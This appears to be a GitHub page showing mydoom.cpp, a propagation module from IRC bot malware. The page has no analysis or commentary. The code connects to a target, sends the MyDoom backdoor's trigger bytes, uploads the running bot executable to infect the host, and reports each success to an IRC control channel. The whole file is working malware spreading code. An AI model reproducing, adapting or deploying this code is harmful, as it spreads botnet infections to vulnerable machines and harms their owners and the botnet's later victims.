-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathmydoom.cpp
65 lines (51 loc) · 1.52 KB
/
mydoom.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include "includes.h"
#include "functions.h"
#include "externs.h"
#ifndef NO_MYDOOM
BYTE MyDoomTrailor[] = "\x85\x13\x3c\x9e\xa2";
BOOL MyDoom(EXINFO exinfo)
{
char buffer[IRCLINE], botfile[MAX_PATH], szBuffer[1024];
BOOL success = FALSE;
WSADATA WSAData;
if (fWSAStartup(MAKEWORD(1,1), &WSAData)!=0)
return FALSE;
SOCKET sSock;
if((sSock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) {
SOCKADDR_IN ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_addr.s_addr = finet_addr(exinfo.ip);
ssin.sin_port = fhtons((unsigned short)exinfo.port);
if(fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) {
if(fsend(sSock, (char*)MyDoomTrailor, 5, 0) == 5) {
GetModuleFileName(0,botfile,MAX_PATH);
FILE* pFile;
if((pFile = fopen(botfile, "rb")) == NULL)
return FALSE;
while(!feof(pFile)) {
int nRead = fread(szBuffer, 1, sizeof(szBuffer), pFile);
int nSent = fsend(sSock, szBuffer, nRead, 0);
if(nRead != nSent) {
fclose(pFile);
fclosesocket(sSock);
fWSACleanup();
return FALSE;
}
}
fclose(pFile);
success = TRUE;
}
}
}
fclosesocket(sSock);
fWSACleanup();
if (success) {
_snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
addlog(buffer);
exploit[exinfo.exploit].stats++;
}
return TRUE;
}
#endif